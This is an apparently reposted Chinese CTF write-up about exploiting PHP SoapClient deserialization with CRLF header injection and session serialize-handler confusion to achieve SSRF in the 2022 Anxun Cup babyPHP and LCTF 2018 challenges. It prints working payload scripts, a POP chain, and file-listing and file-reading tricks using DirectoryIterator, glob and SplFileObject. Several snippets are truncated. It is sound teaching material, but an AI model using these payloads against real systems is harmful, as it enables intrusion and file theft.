我的编程空间,编程开发者的网络收藏夹
学习永远不晚

从2022安洵杯[babyPHP]看Soap+CLRF造成SSRF漏洞

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

从2022安洵杯[babyPHP]看Soap+CLRF造成SSRF漏洞

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、PHP SOAP

二、漏洞成因

三、 题目知识准备

1、PHP Session反序列化

         2、题目相关函数

四、[LCTF 2018]bestphp's revenge

五、2022安洵杯 BabyPHP


前言

提示:这里可以添加本文要记录的大概内容:

今天有一位学弟在安洵杯结束后,发了安洵杯babyPHP的题目跟我探讨,自己看了一下,发现也确实没有碰到过,但是在网上搜到了相应的CTF例题,所以研究了一下,写个总结。


提示:以下是本篇文章正文内容,下面案例可供参考

一、PHP SOAP

SOAP是WebService三要素之一,SOAP称为简单对象访问协议,是连接Web服务或客户端和Web服务器之间的接口。采用的是XML作为数据传送格式,HTTP为底层通讯协议。

在PHP中,SOAP扩展有几个类,本次用到的主要是SoapClient类,解释如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数指明是否为wsdl模式,NULL为非wsdl模式,非wsdl模式下进行反序列化的时候会对第二个参数中的url和locaition进行远程soap请求。

第二个参数是数组,表示soap请求的一些参数和属性。

在PHP中,要使用SoapClient,需要在php.ini中开启PHP扩展

                

二、漏洞成因

在原生的PHP SoapClient类中,存在__call魔术方法,当调用不存在的方法时候会自动调用此方法,对location中的URL进行请求,先来看一下。

 $target,    'user_agent' => "aiwin",    'uri' => "123"));$payload = serialize($attack);echo $payload;$c=unserialize($payload);$c->not_function();

 可以看到Soap利用HTTP协议传输,传输的数据格式的XML。

 重要的是可以看到发送的请求中,uri参数和user_agent参数可控,可以自定义发送soap请求的值,在HTTP请求中,我们知道每一个头部属性值都是通过\r\n换行进行间隔,那么原生Soap就可以通过user_agent通过注入\r\n恶意的换行注入Cookie或者一些其它属性代码,造成CRLF注入。

 $target,    'user_agent' => "aiwin\r\nCookie: PHPSESSID=123456\r\n",    'uri' => "123"));$payload = serialize($attack);echo $payload;$c=unserialize($payload);$c->not_function();

 可以看到,恶意注入了Cookie会话,CRLF确实可行。

三、 题目知识准备

1、PHP Session反序列化

在php session中,存在一部分参数规定关于session的操作。

 session.save_handler 表示session的保存形式是file。

 session.save_path 表示session的保存路径,一般linux在/tmp/sess_id。

 session.serialize_handler 表示session序列化的存储器,默认的php,还有php_serialize、php_binary。

session.upload_progress_cleanup表示读取了数据后,会立即清除掉session的进度信息。

session.upload_progress_enable表示upload_progress功能启动,即浏览器向服务器上传文件时,php会把此次文件上传的详细信息存储在session中。

session.upload_progress中的prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。

session.use_strict_mode中的值为off,表示Cookie中的sessionid可控。

 关于三种处理器的区别:

处理器为php时,session的内容是键名+竖线+经过序列化函数后反序列化的值,如name|s:5:"aiwin";

处理器为php_binary  内容是ASCII字符+键名+序列化函数后反序列化的值,如a:1:{s:4:"name";s:5:"aiwin";}

处理器为php_serialize 内容是经过序列化后反序列化的数组,如 二进制字符names:5:"aiwin";

那么当session反序列化和序列化的时候使用不同的引擎,即可触发错误,比如,$_SESSION['test'] = '|aiwin',用php_serialize得到的内容为,a:1:{s:4:”name”;s:6:”|aiwin”;},

使用php引擎时,|是分隔符,所以aiwin被当成了值传入了$_SESSION。

2、题目相关函数

(1)call_user_func($value1,$value2)

把第一个参数作为回调函数调用。

 (2)extract函数:

从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

 "test", "b" => "Aiwin");extract($test);echo "$a=$a"?>输出:test=test

 (3)PHP的一些原生类

DirectoryIteratory原生类,可以遍历目录,也可以联合glob://协议一起用,可以使用通配符

GlobIterator原生类,与上面类似,不同的是自带了glob协议。 

SplFileObject原生类,可以用于读取文件的内容,一般只读取一行,全部读取需要遍历

还有一些原生类这里没用到,就不进行介绍了。 

以下例题注意点:自身new SoapClient的PHP版本要为7的版本,开始用的8的版本发现不行,因为PHP8进行new SoapClient生成的东西会比7多很多属性值。

四、[LCTF 2018]bestphp's revenge

题目源码:

题目说明了flag在flag.php中,利用上面的知识进行做题,首先需要更改handler的引擎为php_serialize,这里存在call_user_func,PHP版本号为7.0+,可以通过call_user_func调用session_start()更好引擎,然后传入构造的new SoapClient的序列化值,然后再通过变量覆盖掉$b,使SoapClient访问不存在的方法welcome_to_the_lctf2018从而访问location中的flag.php,返回flag的值。

 

 $target,    'user_agent' => "aiwin\r\nCookie:PHPSESSID=123456\r\n",    'uri' => "http://127.0.0.1/"));$se = serialize($b);echo "|".urlencode($se);

 

这里通过变量覆盖,覆盖掉b的值,b=call_user_func后call_user_func($b,$a)就变成了call_user_func("call_user_func",array("SoapClient","Welcome_to_the_ctf..."))使SoapClient调用了call_user_func。

 

这里需要|的原因是因为之前所说的引擎不同造成的漏洞,使用php_serialize引擎序列化后,程序加载session的时候,使用的是php引擎处理,|后的内容就是键值,这样就成功序列化了一个SoapClient对象。 

五、2022安洵杯 BabyPHP

a = "babyhacker";    }    public function __invoke()    {        if (isset($this->a) && $this->a == md5($this->a)) {            $this->b->uwant();        }    }}class B{    public $a;    public $b;    public $k;    function __destruct()    {        $this->b = $this->k;        die($this->a);    }}class C{    public $a;    public $c;    public function __toString()    {        $cc = $this->c;        return $cc();    }    public function uwant()    {        if ($this->a == "phpinfo") {            phpinfo();        } else {            call_user_func(array(reset($_SESSION), $this->a));        }    }}if (isset($_GET['d0g3'])) {    ini_set($_GET['baby'], $_GET['d0g3']);    session_start();    $_SESSION['sess'] = $_POST['sess'];}else{    session_start();    if (isset($_POST["pop"])) {        unserialize($_POST["pop"]);    }}var_dump($_SESSION);highlight_file(__FILE__);

 有一段反序列化,Pop链为B::__toString->A::__invoke()->C::uwant(),绕过A类直接增加A的个数即可,弱相等,绕过md5可以使用科学计数法。

a=new C;$a->a->c=new A;$a->a->c->b=new C;echo serialize($a);

 传入pop可以查看到phpinfo()

 其实知道是SoapClient造成SSRF,不看phpinfo()也可以。

提示有flag.php,查看flag.php的代码:

这里提示flag在根目录下, $f1ag = implode(array(new $_GET['a']($_GET['b'])));使new出来的原生类能够拼接起来,所以可以通过SSRF访问flag.php并且传入a和b参数的属性为DirectoryIterator原生类联合glob先读取flag的文件名。

 

$target = 'http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*';$b = new SoapClient(null, array('location' => $target,    'user_agent' => "aiwin1\r\nCookie:PHPSESSID=aiwin1\r\n",    'uri' => "http://127.0.0.1/"));$a = serialize($b);echo "|" . urlencode($a);

解题和上面一样,先更改引擎,这里有ini_set(),可以直接利用更改引擎。

 

 然后传入反序列的Pop链,使用链条进入call_user_func,触发SoapClient的__call方法

 

知道了flag的文件名是f111llllllllaagg,然后再通过SplFileObject原生类读取flag。

$target = 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';$b = new SoapClient(null, array('location' => $target,    'user_agent' => "aiwin1\r\nCookie:PHPSESSID=aiwin1\r\n",    'uri' => "http://127.0.0.1/"));$a = serialize($b);echo "|" . urlencode($a);

 按照相等步骤传入即可读到flag

 


总结

漏洞理解起来不算很难,但是从看例题然后解这道安洵杯,还是花费了好多时间,但是也收获了不少,长了不少知识。

来源地址:https://blog.csdn.net/weixin_53090346/article/details/128085938

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

从2022安洵杯[babyPHP]看Soap+CLRF造成SSRF漏洞

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录